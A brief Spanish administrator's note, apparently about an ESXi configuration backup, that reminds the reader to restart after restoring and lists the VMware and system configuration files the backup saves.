Reiniciar luego del restore!


Se backupean los siguientes archivos:

etc/sfcb/repository/root/interop/cim_indicationsubscription.idx
etc/sfcb/repository/root/interop/cim_listenerdestinationcimxml.idx
etc/sfcb/repository/root/interop/cim_indicationhandlercimxml.idx
etc/sfcb/repository/root/interop/cim_indicationfilter.idx
etc/sysconfig/network
etc/shadow
etc/resolv.conf
etc/random-seed
etc/passwd
etc/ntp.drift
etc/ntp.conf
etc/inetd.conf
etc/hosts
etc/group
etc/dropbear/dropbear_rsa_host_key
etc/dropbear/dropbear_dss_host_key
etc/chkconfig.db
etc/vmware/vmware.lic
etc/vmware/ssl/rui.key
etc/vmware/ssl/rui.crt
etc/vmware/snmp.xml
etc/vmware/locker.conf
etc/vmware/license.cfg
etc/vmware/esx.conf
etc/vmware/hostd/vmInventory.xml
etc/vmware/hostd/vmAutoStart.xml
etc/vmware/hostd/pools.xml
etc/vmware/hostd/hostsvc.xml
etc/vmware/hostd/config.xml
etc/vmware/hostd/authorization.x